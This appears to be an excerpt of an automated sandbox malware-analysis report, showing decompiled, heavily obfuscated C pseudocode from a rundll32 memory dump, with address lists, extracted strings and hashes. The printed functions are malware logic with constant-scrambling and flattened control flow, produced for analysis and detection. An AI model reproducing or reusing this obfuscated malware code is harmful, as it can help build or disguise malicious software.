				_v1628 = _v1628 ^ 0xcfbe27ae;
				_v1568 = 0x3251be;
				_t286 = 0x79;
				_v1568 = _v1568 / _t285;
				_v1568 = _v1568 ^ 0x0007548f;
				_v1672 = 0x5cc1a6;
				_v1672 = _v1672 | 0x5a4d7772;
				_t85 =  &_v1672; // 0x5a4d7772
				_v1672 =  *_t85 / _t286;
				_v1672 = _v1672 + 0xffff6c58;
				_v1672 = _v1672 ^ 0x00b09a2a;
				_v1584 = 0x757b2e;
				_v1584 = _v1584 + 0xffff31dd;
				_v1584 = _v1584 ^ 0x0073a872;
				_v1592 = 0x3ce70d;
				_t287 = 0x5a;
				_v1592 = _v1592 * 0x72;
				_v1592 = _v1592 ^ 0x1b1a78e7;
				_v1572 = 0xc163e;
				_v1572 = _v1572 / _t287;
				_v1572 = _v1572 ^ 0x00036a4e;
				_v1612 = 0x1ca23b;
				_v1612 = _v1612 + 0xffff6628;
				_v1612 = _v1612 + 0x1135;
				_v1612 = _v1612 ^ 0x00167c6b;
				_v1620 = 0xb38e61;
				_t288 = 0x49;
				_v1620 = _v1620 * 0x7f;
				_v1620 = _v1620 ^ 0x782f0939;
				_v1620 = _v1620 ^ 0x213f4aa4;
				_v1660 = 0x74d6dd;
				_v1660 = _v1660 + 0x68bb;
				_v1660 = _v1660 | 0xf5cb287a;
				_v1660 = _v1660 + 0xffff9d3f;
				_v1660 = _v1660 ^ 0xf5f4c6ec;
				_v1668 = 0x9c774d;
				_v1668 = _v1668 + 0x22c8;
				_v1668 = _v1668 << 0x10;
				_v1668 = _v1668 ^ 0xe350e68a;
				_v1668 = _v1668 ^ 0x79426435;
				_v1644 = 0xa28120;
				_v1644 = _v1644 * 0x27;
				_v1644 = _v1644 + 0xfffff00c;
				_v1644 = _v1644 << 7;
				_v1644 = _v1644 ^ 0x60c0e5d8;
				_v1652 = 0x75cead;
				_v1652 = _v1652 * 0x33;
				_v1652 = _v1652 >> 0xf;
				_v1652 = _v1652 / _t288;
				_v1652 = _v1652 ^ 0x00049b2b;
				_v1632 = 0x459ea;
				_v1632 = _v1632 | 0x22ad5e03;
				_v1632 = _v1632 * 0x26;
				_v1632 = _v1632 ^ 0x25bf04a7;
				_v1636 = 0x8a7d08;
				_v1636 = _v1636 << 5;
				_v1636 = _v1636 ^ 0x7cd9bfd1;
				_v1636 = _v1636 ^ 0x6d9c0e1c;
				_v1600 = 0x3382a1;
				_v1600 = _v1600 + 0x6640;
				_v1600 = _v1600 ^ 0x84283fdc;
				_v1600 = _v1600 ^ 0x841a5854;
				_v1608 = 0xe3f220;
				_v1608 = _v1608 + 0xffffc788;
				_v1608 = _v1608 * 0x1b;
				_v1608 = _v1608 ^ 0x180267f4;
				_v1576 = 0xc0d208;
				_v1576 = _v1576 * 0x66;
				_v1576 = _v1576 ^ 0x4cdc688a;
				_v1616 = 0x603003;
				_v1616 = _v1616 + 0xffffdb50;
				_v1616 = _v1616 * 0x36;
				_v1616 = _v1616 ^ 0x14408960;
				_v1640 = 0x8164cd;
				_v1640 = _v1640 + 0xffff29f7;
				_v1640 = _v1640 << 0x10;
				_v1640 = _v1640 ^ 0x8ec5a6e2;
				do {
					while(_t313 != 0x7d63619) {
						if(_t313 == 0xd6a7cf6) {
							E029C24AA(_t288, _v1588, __eflags,  &_v1560, _v1596, _v1656, _v1624);
							 *((short*)(E029D0F17(_v1604, _v1580,  &_v1560, _v1664, _v1564))) = 0;
							E029DCC3F(_v1648,  &_v520, __eflags, _v1628);
							_push(0x29c11d0);
							E029E06A6(__eflags,  &_v1560, _v1584, E029E0AD3(_v1568, _v1672, __eflags), _v1592, _v1572,  &_v1040, _v1612);
							E029D2EED(_v1620, _v1660, _v1668, _t278);
							_t288 =  &_v1040;
							_t272 = E029E3306( &_v1040, _v1644, _v1652, _v1632, _t312, _v1636);
							_t316 =  &(_t316[0x16]);
							__eflags = _t272;
							if(__eflags != 0) {
								_t313 = 0x7d63619;
								continue;
							}
						} else {
							if(_t313 != 0xe9a37bd) {
								goto L8;
							} else {
								_t313 = 0xd6a7cf6;
								continue;
							}
						}
						goto L9;
					}
					_push(_v1640);
					_push(0);
					_push( &_v1040);
					_push(_v1616);
					_push(_v1576);
					_push(_v1608);
					_push(0);
					_push(0);
					_t272 = E029E06EF(_v1600, __eflags);
					_t316 =  &(_t316[8]);
					_t313 = 0x5b6dba;
					L8:
					__eflags = _t313 - 0x5b6dba;
				} while (__eflags != 0);
				L9:
				return _t272;
			}

0x029d710d
0x029d7113
0x029d711d
0x029d7122
0x029d712a
0x029d7132
0x029d7137
0x029d713f
0x029d7147
0x029d714c
0x029d7151
0x029d7159
0x029d7161
0x029d7169
0x029d717a
0x029d717c
0x029d7181
0x029d7186
0x029d718c
0x029d7194
0x029d719c
0x029d71a1
0x029d71a6
0x029d71ae
0x029d71b6
0x029d71bb
0x029d71be
0x029d71c2
0x029d71ca
0x029d71d2
0x029d71da
0x029d71e3
0x029d71e7
0x029d71ef
0x029d71f7
0x029d71ff
0x029d7207
0x029d720f
0x029d7217
0x029d721f
0x029d7223
0x029d722b
0x029d7233
0x029d723b
0x029d7240
0x029d7248
0x029d7256
0x029d7257
0x029d725d
0x029d7265
0x029d726d
0x029d7275
0x029d727d
0x029d7281
0x029d7289
0x029d7291
0x029d7299
0x029d72a1
0x029d72a9
0x029d72b6
0x029d72b7
0x029d72bb
0x029d72c5
0x029d72d5
0x029d72db
0x029d72e8
0x029d72f0
0x029d72f8
0x029d7300
0x029d7308
0x029d7315
0x029d7316
0x029d731a
0x029d7322
0x029d732a
0x029d7332
0x029d733a
0x029d7342
0x029d734a
0x029d7352
0x029d735a
0x029d7362
0x029d7367
0x029d736f
0x029d7377
0x029d7384
0x029d7388
0x029d7390
0x029d7395
0x029d739d
0x029d73aa
0x029d73ae
0x029d73b9
0x029d73bd
0x029d73c5
0x029d73cd
0x029d73da
0x029d73de
0x029d73e6
0x029d73ee
0x029d73f3
0x029d73fb
0x029d7403
0x029d740b
0x029d7413
0x029d741b
0x029d7423
0x029d742b
0x029d7438
0x029d743c
0x029d7444
0x029d7451
0x029d7455
0x029d745d
0x029d7465
0x029d7472
0x029d7476
0x029d747e
0x029d7486
0x029d748e
0x029d7493
0x029d749b
0x029d749b
0x029d74a9
0x029d74d6
0x029d750b
0x029d7512
0x029d7522
0x029d755f
0x029d7574
0x029d757d
0x029d7591
0x029d7596
0x029d7599
0x029d759b
0x029d759d
0x00000000
0x029d759d
0x029d74ab
0x029d74b1
0x00000000
0x029d74b7
0x029d74b7
0x00000000
0x029d74b7
0x029d74b1
0x00000000
0x029d74a9
0x029d75a4
0x029d75af
0x029d75b1
0x029d75b2
0x029d75b6
0x029d75ba
0x029d75c2
0x029d75c4
0x029d75c6
0x029d75cb
0x029d75ce
0x029d75d3
0x029d75d3
0x029d75d3
0x029d75e8
0x029d75e8

Strings

rwMZ, xrefs: 029D7275
=}s, xrefs: 029D71F7
.{u, xrefs: 029D7291
9/x, xrefs: 029D731A
GJL, xrefs: 029D71B6
5dBy, xrefs: 029D736F
@f, xrefs: 029D740B
<, xrefs: 029D72A9

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: <$.{u$5dBy$9/x$@f$GJL$rwMZ$=}s
API String ID: 0-3615119605
Opcode ID: eb297cc0e303fb35f51c852032237d5183275e968978044271c1b25d462fb685
Instruction ID: f7f56f2650b7767c075aa61aa6fc62f55508a4e7379457ad40c0e5febc85ed7c
Opcode Fuzzy Hash: eb297cc0e303fb35f51c852032237d5183275e968978044271c1b25d462fb685
Instruction Fuzzy Hash: B3C1FD724083819FD768CF61C98994BFBE2BBC4748F108E1DF1AA96260D7B59909CF47

Uniqueness

Uniqueness Score: -1.00%

Function 029D645F, Relevance: 9.1, Strings: 7, Instructions: 347
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E029D645F(intOrPtr* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, signed int* _a16) {
				signed int _v4;
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				signed int _v168;
				signed int _v172;
				signed int _v176;
				signed int _v180;
				void* _t334;
				signed int _t363;
				signed int _t381;
				signed int _t382;
				signed int _t383;
				signed int _t384;
				signed int _t385;
				signed int _t386;
				signed int _t387;
				signed int _t388;
				void* _t391;
				signed int* _t428;
				intOrPtr* _t429;
				signed int* _t432;
				void* _t435;

				_t428 = _a16;
				_t429 = __ecx;
				_push(_t428);
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E029C8002(_t334);
				_v16 = 0x98cb51;
				_v12 = 0x3c049;
				_t432 =  &(( &_v180)[6]);
				_v8 = 0;
				_v4 = 0;
				_t391 = 0xd20c825;
				_v72 = 0xd4fd08;
				_v72 = _v72 + 0xffff3fe2;
				_v72 = _v72 ^ 0x00d43cea;
				_v100 = 0xb43979;
				_v100 = _v100 + 0xdd7b;
				_v100 = _v100 + 0x7f51;
				_v100 = _v100 ^ 0x00bdaefa;
				_v148 = 0x688e71;
				_v148 = _v148 >> 0xb;
				_v148 = _v148 >> 4;
				_v148 = _v148 << 5;
				_v148 = _v148 ^ 0x000f5470;
				_v156 = 0xa25f88;
				_v156 = _v156 << 4;
				_v156 = _v156 | 0xfed7c077;
				_t381 = 0x78;
				_v156 = _v156 / _t381;
				_v156 = _v156 ^ 0x021a57da;
				_v108 = 0x707e55;
				_v108 = _v108 << 3;
				_v108 = _v108 + 0xffffca5a;
				_v108 = _v108 ^ 0x03898e17;
				_v164 = 0x2323f6;
				_t382 = 3;
				_v164 = _v164 / _t382;
				_v164 = _v164 | 0x794a01bb;
				_v164 = _v164 + 0x7fc3;
				_v164 = _v164 ^ 0x7949cce9;
				_v116 = 0x10d9b5;
				_v116 = _v116 << 1;
				_v116 = _v116 + 0x8e77;
				_v116 = _v116 ^ 0x002e5eeb;
				_v64 = 0x61f10b;
				_t383 = 0x1f;
				_v64 = _v64 / _t383;
				_v64 = _v64 ^ 0x000e408b;
				_v120 = 0xcdc1fe;
				_v120 = _v120 + 0xffff35b0;
				_v120 = _v120 >> 5;
				_v120 = _v120 ^ 0x000161d2;
				_v172 = 0xcff9d7;
				_v172 = _v172 * 0x44;
				_v172 = _v172 + 0x29e8;
				_v172 = _v172 >> 2;
				_v172 = _v172 ^ 0x0dcdd6e0;
				_v96 = 0x30b6c3;
				_v96 = _v96 | 0x9550d1e6;
				_v96 = _v96 * 0x46;
				_v96 = _v96 ^ 0xdce37511;
				_v168 = 0x41358f;
				_v168 = _v168 << 8;
				_t384 = 0x7e;
				_v168 = _v168 * 0x3f;
				_v168 = _v168 | 0xbe8ff062;
				_v168 = _v168 ^ 0xbeaa9942;
				_v144 = 0xb99b38;
				_v144 = _v144 / _t384;
				_v144 = _v144 >> 7;
				_t385 = 0x39;
				_v144 = _v144 / _t385;
				_v144 = _v144 ^ 0x000dad23;
				_v176 = 0xeda7d3;
				_v176 = _v176 >> 4;
				_t386 = 0x43;
				_v176 = _v176 / _t386;
				_v176 = _v176 | 0xb383abbb;
				_v176 = _v176 ^ 0xb381acb6;
				_v48 = 0x1d02f6;
				_v48 = _v48 * 0x53;
				_v48 = _v48 ^ 0x09659576;
				_v124 = 0xe3cbc1;
				_v124 = _v124 * 0x72;
				_v124 = _v124 << 0xf;
				_v124 = _v124 ^ 0x5dfad653;
				_v80 = 0xefae10;
				_v80 = _v80 + 0xc29a;
				_v80 = _v80 ^ 0x00fed70e;
				_v92 = 0x45dff5;
				_v92 = _v92 << 4;
				_v92 = _v92 | 0xd162baeb;
				_v92 = _v92 ^ 0xd5785aea;
				_v88 = 0xdba462;
				_v88 = _v88 >> 2;
				_v88 = _v88 >> 2;
				_v88 = _v88 ^ 0x000ec23a;
				_v160 = 0x3badbb;
				_v160 = _v160 + 0xffff04ab;
				_v160 = _v160 * 0x5e;
				_v160 = _v160 ^ 0x5b663051;
				_v160 = _v160 ^ 0x4ee8a23c;
				_v152 = 0xf3cebd;
				_v152 = _v152 | 0xa76b47fd;
				_v152 = _v152 << 3;
				_v152 = _v152 ^ 0x3fd1623d;
				_v76 = 0x89d29;
				_v76 = _v76 * 9;
				_v76 = _v76 ^ 0x004facba;
				_v60 = 0x5b4976;
				_v60 = _v60 + 0xea1e;
				_v60 = _v60 ^ 0x00560879;
				_v52 = 0x5a6692;
				_v52 = _v52 | 0x37962189;
				_v52 = _v52 ^ 0x37d57e68;
				_v84 = 0xa9ec09;
				_v84 = _v84 + 0x203e;
				_v84 = _v84 + 0xffffb76b;
				_v84 = _v84 ^ 0x00ae77e8;
				_v68 = 0x815203;
				_v68 = _v68 | 0xc1a2254d;
				_v68 = _v68 ^ 0xc1ac353f;
				_v104 = 0x891afc;
				_t387 = 0x66;
				_v104 = _v104 / _t387;
				_v104 = _v104 + 0xa24f;
				_v104 = _v104 ^ 0x00024957;
				_v136 = 0x8c7d48;
				_t388 = 0x44;
				_v136 = _v136 * 0x2b;
				_v136 = _v136 / _t388;
				_v136 = _v136 ^ 0x005614a5;
				_v180 = 0x49b8e9;
				_v180 = _v180 + 0xcb11;
				_v180 = _v180 + 0x107f;
				_v180 = _v180 >> 0xf;
				_v180 = _v180 ^ 0x0007bf2b;
				_v112 = 0xcb8072;
				_v112 = _v112 + 0x438b;
				_v112 = _v112 + 0xc93b;
				_v112 = _v112 ^ 0x00c61165;
				_v128 = 0x2dbaae;
				_v128 = _v128 | 0xaa33a377;
				_v128 = _v128 * 0x72;
				_v128 = _v128 ^ 0xd0626618;
				_v140 = 0x4079e7;
				_v140 = _v140 + 0xbe65;
				_v140 = _v140 ^ 0xdcbbe985;
				_v140 = _v140 >> 6;
				_v140 = _v140 ^ 0x037b6a47;
				_v56 = 0xc18d65;
				_v56 = _v56 + 0xd572;
				_v56 = _v56 ^ 0x00c20e2d;
				_v132 = 0x778d04;
				_v132 = _v132 + 0xffff449b;
				_v132 = _v132 ^ 0x73bdd683;
				_v132 = _v132 ^ 0x73cf90ea;
				goto L1;
				do {
					while(1) {
						L1:
						_t435 = _t391 - 0x9ae9bd9;
						if(_t435 > 0) {
							break;
						}
						if(_t435 == 0) {
							E029CE1EB( &_v44,  *((intOrPtr*)(_t429 + 4)), _v88, _v160, _v152, _v76);
							_t432 =  &(_t432[4]);
							_t391 = 0x73af45;
							continue;
						} else {
							if(_t391 == 0x5c49d0) {
								E029D0824(_v128, _v140, __eflags, _v56,  &_v44, _t429 + 0x28, _v132);
							} else {
								if(_t391 == 0x73af45) {
									E029CE1EB( &_v44,  *((intOrPtr*)(_t429 + 0x14)), _v60, _v52, _v84, _v68);
									_t432 =  &(_t432[4]);
									_t391 = 0xc04225f;
									continue;
								} else {
									if(_t391 == 0x361ae68) {
										E029CE1EB( &_v44,  *((intOrPtr*)(_t429 + 0x10)), _v48, _v124, _v80, _v92);
										_t432 =  &(_t432[4]);
										_t391 = 0x9ae9bd9;
										continue;
									} else {
										if(_t391 == 0x3918d83) {
											_t428[1] = E029CD899(_t429);
											_t391 = 0x9dcec49;
											continue;
										} else {
											if(_t391 != 0x481cc30) {
												goto L25;
											} else {
												E029CE1EB( &_v44,  *_t429, _v96, _v168, _v144, _v176);
												_t432 =  &(_t432[4]);
												_t391 = 0x361ae68;
												continue;
											}
										}
									}
								}
							}
						}
						L28:
						__eflags =  *_t428;
						_t333 =  *_t428 != 0;
						__eflags = _t333;
						return 0 | _t333;
					}
					__eflags = _t391 - 0x9dcec49;
					if(_t391 == 0x9dcec49) {
						_push(_t391);
						_t363 = E029D6F53(_t428[1]);
						 *_t428 = _t363;
						__eflags = _t363;
						if(__eflags == 0) {
							_t391 = 0xd61d1a6;
							goto L25;
						} else {
							_t391 = 0x9e0876e;
							goto L1;
						}
					} else {
						__eflags = _t391 - 0x9e0876e;
						if(_t391 == 0x9e0876e) {
							E029D777F(_v156, _v108,  &_v44, _t428, _v164);
							_t432 =  &(_t432[3]);
							_t391 = 0xb1f45ee;
							goto L1;
						} else {
							__eflags = _t391 - 0xb1f45ee;
							if(__eflags == 0) {
								E029D0824(_v116, _v64, __eflags, _v120,  &_v44, _t429 + 0x18, _v172);
								_t432 =  &(_t432[4]);
								_t391 = 0x481cc30;
								goto L1;
							} else {
								__eflags = _t391 - 0xc04225f;
								if(_t391 == 0xc04225f) {
									E029CE1EB( &_v44,  *((intOrPtr*)(_t429 + 0x30)), _v104, _v136, _v180, _v112);
									_t432 =  &(_t432[4]);
									_t391 = 0x5c49d0;
									goto L1;
								} else {
									__eflags = _t391 - 0xd20c825;
									if(__eflags != 0) {
										goto L25;
									} else {
										_t391 = 0x3918d83;
										 *_t428 = 0;
										_t428[1] = _v72;
										goto L1;
									}
								}
							}
						}
					}
					goto L28;
					L25:
					__eflags = _t391 - 0xd61d1a6;
				} while (__eflags != 0);
				goto L28;
			}

0x029d6469
0x029d6470
0x029d6472
0x029d6473
0x029d647a
0x029d6481
0x029d6488
0x029d6489
0x029d648a
0x029d648f
0x029d649c
0x029d64a7
0x029d64aa
0x029d64b3
0x029d64ba
0x029d64bf
0x029d64c7
0x029d64cf
0x029d64d7
0x029d64df
0x029d64e7
0x029d64ef
0x029d64f7
0x029d64ff
0x029d6504
0x029d6509
0x029d650e
0x029d6516
0x029d651e
0x029d6523
0x029d6531
0x029d6536
0x029d653c
0x029d6544
0x029d654c
0x029d6551
0x029d6559
0x029d6561
0x029d656d
0x029d6572
0x029d6578
0x029d6580
0x029d6588
0x029d6590
0x029d6598
0x029d659c
0x029d65a4
0x029d65ac
0x029d65be
0x029d65c1
0x029d65c8
0x029d65d3
0x029d65db
0x029d65e3
0x029d65e8
0x029d65f0
0x029d65fd
0x029d6601
0x029d6609
0x029d660e
0x029d6616
0x029d661e
0x029d662b
0x029d6631
0x029d6639
0x029d6641
0x029d664d
0x029d6650
0x029d6654
0x029d665c
0x029d6664
0x029d6674
0x029d6678
0x029d6681
0x029d6686
0x029d668c
0x029d6694
0x029d669c
0x029d66a5
0x029d66a8
0x029d66ac
0x029d66b4
0x029d66bc
0x029d66cf
0x029d66d6
0x029d66e1
0x029d66ee
0x029d66f2
0x029d66f7
0x029d66ff
0x029d6707
0x029d670f
0x029d6717
0x029d671f
0x029d6724
0x029d672c
0x029d6734
0x029d673c
0x029d6741
0x029d6746
0x029d674e
0x029d6756
0x029d6763
0x029d6767
0x029d676f
0x029d6777
0x029d677f
0x029d6787
0x029d678c
0x029d6794
0x029d67a1
0x029d67a5
0x029d67ad
0x029d67b8
0x029d67c3
0x029d67ce
0x029d67d9
0x029d67e4
0x029d67ef
0x029d67f7
0x029d67ff
0x029d6807
0x029d680f
0x029d681a
0x029d6825
0x029d6830
0x029d6840
0x029d6845
0x029d684b
0x029d6853
0x029d685b
0x029d6868
0x029d6869
0x029d6878
0x029d687c
0x029d6884
0x029d688c
0x029d6894
0x029d689c
0x029d68a1
0x029d68a9
0x029d68b1
0x029d68b9
0x029d68c1
0x029d68c9
0x029d68d1
0x029d68de
0x029d68e2
0x029d68ea
0x029d68f2
0x029d68fa
0x029d6902
0x029d6907
0x029d690f
0x029d691a
0x029d6925
0x029d6930
0x029d6938
0x029d6940
0x029d6948
0x029d6948
0x029d6950
0x029d6950
0x029d6950
0x029d6950
0x029d6952
0x00000000
0x00000000
0x029d6958
0x029d6a46
0x029d6a4b
0x029d6a4e
0x00000000
0x029d695e
0x029d6964
0x029d6b77
0x029d696a
0x029d6970
0x029d6a1a
0x029d6a1f
0x029d6a22
0x00000000
0x029d6976
0x029d697c
0x029d69e8
0x029d69ed
0x029d69f0
0x00000000
0x029d697e
0x029d6984
0x029d69c1
0x029d69c4
0x00000000
0x029d6986
0x029d698c
0x00000000
0x029d6992
0x029d69ab
0x029d69b0
0x029d69b3
0x00000000
0x029d69b3
0x029d698c
0x029d6984
0x029d697c
0x029d6970
0x029d6964
0x029d6b7f
0x029d6b81
0x029d6b86
0x029d6b86
0x029d6b90
0x029d6b90
0x029d6a58
0x029d6a5e
0x029d6b2e
0x029d6b2f
0x029d6b34
0x029d6b37
0x029d6b39
0x029d6b45
0x00000000
0x029d6b3b
0x029d6b3b
0x00000000
0x029d6b3b
0x029d6a64
0x029d6a64
0x029d6a6a
0x029d6b11
0x029d6b16
0x029d6b19
0x00000000
0x029d6a70
0x029d6a70
0x029d6a76
0x029d6aea
0x029d6aef
0x029d6af2
0x00000000
0x029d6a78
0x029d6a78
0x029d6a7e
0x029d6ab9
0x029d6abe
0x029d6ac1
0x00000000
0x029d6a80
0x029d6a80
0x029d6a86
0x00000000
0x029d6a8c
0x029d6a90
0x029d6a95
0x029d6a97
0x00000000
0x029d6a97
0x029d6a86
0x029d6a7e
0x029d6a76
0x029d6a6a
0x00000000
0x029d6b4a
0x029d6b4a
0x029d6b4a
0x00000000

Strings

Q0f[, xrefs: 029D6767
y@, xrefs: 029D68EA
), xrefs: 029D6601
U~p, xrefs: 029D6544
vI[, xrefs: 029D67AD
> , xrefs: 029D67F7
^., xrefs: 029D65A4

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: > $Q0f[$U~p$vI[$)$^.$y@
API String ID: 0-3549945254
Opcode ID: bbb97e7109f1dddf4fb0184be61a924c97aaf423d7f90a5fcc0590a421d4c788
Instruction ID: 2ecd616e7a1065fc273ec7efe1f4693f1be4037e9ca7dc0f82f490cb3dbaf085
Opcode Fuzzy Hash: bbb97e7109f1dddf4fb0184be61a924c97aaf423d7f90a5fcc0590a421d4c788
Instruction Fuzzy Hash: 29025FB2408381DFD368CF21C589A5BFBE6FBD4748F10891DE29A86260C3B19949DF43

Uniqueness

Uniqueness Score: -1.00%

Function 029D473A, Relevance: 9.0, Strings: 7, Instructions: 261
COMMONCrypto

Download Yara Rule

C-Code - Quality: 89%

			E029D473A(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _v60;
				char _v68;
				void* _v80;
				intOrPtr _v84;
				char _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				signed int _v168;
				signed int _v172;
				signed int _v176;
				signed int _v180;
				signed int _v184;
				signed int _v188;
				void* _t256;
				void* _t284;
				void* _t295;
				void* _t297;
				signed int _t325;
				signed int _t326;
				signed int _t327;
				signed int _t328;
				signed int _t329;
				signed int _t330;
				signed int _t331;
				char _t333;
				signed int* _t336;

				_t295 = __ecx;
				_push(0);
				_push(_a28);
				_push(_a24);
				_push(_a20);
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(0);
				_push(__ecx);
				E029C8002(_t256);
				_v84 = 0x50cd84;
				_v88 = 0;
				asm("stosd");
				_t336 =  &(( &_v188)[0xa]);
				_t333 = 0;
				_t297 = 0xdb7f4e5;
				asm("stosd");
				asm("stosd");
				_v100 = 0xa9da3;
				_v100 = _v100 << 3;
				_v100 = _v100 ^ 0x0054e918;
				_v148 = 0xf2e0f3;
				_t325 = 0x25;
				_v148 = _v148 / _t325;
				_t326 = 0x6f;
				_v148 = _v148 / _t326;
				_v148 = _v148 ^ 0x00000f03;
				_v144 = 0x6edd53;
				_v144 = _v144 ^ 0x75267415;
				_v144 = _v144 + 0xffff86e0;
				_v144 = _v144 ^ 0x7540d20b;
				_v156 = 0x7df93c;
				_v156 = _v156 ^ 0x3c5d4161;
				_v156 = _v156 + 0x84f0;
				_v156 = _v156 ^ 0x3c2aa1d8;
				_v116 = 0x1bac1c;
				_v116 = _v116 ^ 0xc65285cd;
				_v116 = _v116 ^ 0xc644098e;
				_v152 = 0xe7d648;
				_t327 = 0x1c;
				_v152 = _v152 / _t327;
				_v152 = _v152 * 0x7e;
				_v152 = _v152 ^ 0x04159530;
				_v180 = 0xfd4a22;
				_v180 = _v180 << 6;
				_v180 = _v180 ^ 0x7189355a;
				_v180 = _v180 * 0x6a;
				_v180 = _v180 ^ 0xa6f7bea2;
				_v172 = 0x73be8c;
				_v172 = _v172 + 0xffff9acb;
				_v172 = _v172 | 0x8f59951b;
				_v172 = _v172 >> 5;
				_v172 = _v172 ^ 0x0474fd96;
				_v96 = 0x9cd9a9;
				_v96 = _v96 >> 0xb;
				_v96 = _v96 ^ 0x0008b664;
				_v108 = 0xd27ff2;
				_v108 = _v108 * 0x6d;
				_v108 = _v108 ^ 0x59ae7d29;
				_v112 = 0x62b4b9;
				_v112 = _v112 >> 7;
				_v112 = _v112 ^ 0x000d707c;
				_v124 = 0xb4db98;
				_v124 = _v124 ^ 0xc4a005a6;
				_v124 = _v124 >> 7;
				_v124 = _v124 ^ 0x018828a5;
				_v140 = 0xd35305;
				_t328 = 0x7c;
				_v140 = _v140 / _t328;
				_v140 = _v140 + 0xffff7c77;
				_v140 = _v140 ^ 0x00050917;
				_v184 = 0x3bd7e7;
				_t329 = 0x16;
				_v184 = _v184 * 0x5c;
				_v184 = _v184 >> 0xd;
				_v184 = _v184 << 0xe;
				_v184 = _v184 ^ 0x2b0b2c99;
				_v188 = 0xb75786;
				_v188 = _v188 | 0xc20c45a2;
				_v188 = _v188 + 0xfc9d;
				_v188 = _v188 * 5;
				_v188 = _v188 ^ 0xcdcca17c;
				_v132 = 0x50fe2a;
				_v132 = _v132 + 0xffffc47a;
				_v132 = _v132 ^ 0x4a1d7ab9;
				_v132 = _v132 ^ 0x4a4e171c;
				_v164 = 0xbe6627;
				_v164 = _v164 << 0xf;
				_v164 = _v164 + 0x2340;
				_v164 = _v164 + 0xffff7d21;
				_v164 = _v164 ^ 0x3313ce90;
				_v92 = 0xf290a5;
				_v92 = _v92 * 0x5b;
				_v92 = _v92 ^ 0x563c5ede;
				_v168 = 0x266085;
				_v168 = _v168 >> 1;
				_v168 = _v168 + 0xd8ec;
				_v168 = _v168 << 0x10;
				_v168 = _v168 ^ 0x0928612d;
				_v176 = 0x24f96d;
				_v176 = _v176 + 0xfffffd6f;
				_v176 = _v176 | 0x1d68e396;
				_v176 = _v176 / _t329;
				_v176 = _v176 ^ 0x015af940;
				_v104 = 0x2a05e3;
				_v104 = _v104 + 0x57b5;
				_v104 = _v104 ^ 0x002cce9c;
				_v160 = 0xac1009;
				_v160 = _v160 + 0x90f7;
				_t330 = 0xc;
				_v160 = _v160 * 0x58;
				_v160 = _v160 + 0x4940;
				_v160 = _v160 ^ 0x3b5783c1;
				_v120 = 0xc13141;
				_v120 = _v120 + 0x29f0;
				_v120 = _v120 / _t330;
				_v120 = _v120 ^ 0x001f9d62;
				_v128 = 0xc04b27;
				_t331 = 0x41;
				_v128 = _v128 / _t331;
				_v128 = _v128 * 0x78;
				_v128 = _v128 ^ 0x0168de01;
				_v136 = 0xa87ade;
				_v136 = _v136 >> 0xc;
				_v136 = _v136 / _t331;
				_v136 = _v136 ^ 0x00002647;
				do {
					while(_t297 != 0x3ea60e2) {
						if(_t297 == 0x8ffc4d4) {
							E029C3965(_v116, _v152,  &_v68, _v180, 0x44, _v172);
							_t300 = _v96;
							_push(0x29c1150);
							_v68 = 0x44;
							_v60 = E029E0AD3(_v96, _v108, __eflags);
							_t333 = E029C8003(_v112, _a20, _v124, _v140, _v88, _v96, _a8, _v184,  &_v68, _t300, _v188, _v132, _v164, _t300, _t295, _v92, _v148 | _v100, 0);
							E029D2EED(_v168, _v176, _v104, _v60);
							_t336 =  &(_t336[0x18]);
							_t297 = 0xb1dffd0;
							continue;
						} else {
							if(_t297 == 0xb1dffd0) {
								E029CC5DA(_v160, _v120, _v128, _v88, _v136);
							} else {
								if(_t297 != 0xdb7f4e5) {
									goto L10;
								} else {
									_t297 = 0x3ea60e2;
									continue;
								}
							}
						}
						L13:
						return _t333;
					}
					_t284 = E029CB058(_v144, _v156, _a8,  &_v88);
					_t336 =  &(_t336[3]);
					__eflags = _t284;
					if(_t284 == 0) {
						_t297 = 0x10e7533;
						goto L10;
					} else {
						_t297 = 0x8ffc4d4;
						continue;
					}
					goto L13;
					L10:
					__eflags = _t297 - 0x10e7533;
				} while (_t297 != 0x10e7533);
				goto L13;
			}

0x029d4746
0x029d4748
0x029d4749
0x029d4750
0x029d4757
0x029d475e
0x029d4765
0x029d476c
0x029d4773
0x029d477a
0x029d477b
0x029d477c
0x029d4781
0x029d4793
0x029d479c
0x029d479d
0x029d47a0
0x029d47a2
0x029d47a7
0x029d47aa
0x029d47ab
0x029d47b3
0x029d47b8
0x029d47c0
0x029d47cc
0x029d47d1
0x029d47db
0x029d47e0
0x029d47e6
0x029d47ee
0x029d47f6
0x029d47fe
0x029d4806
0x029d480e
0x029d4816
0x029d481e
0x029d4826
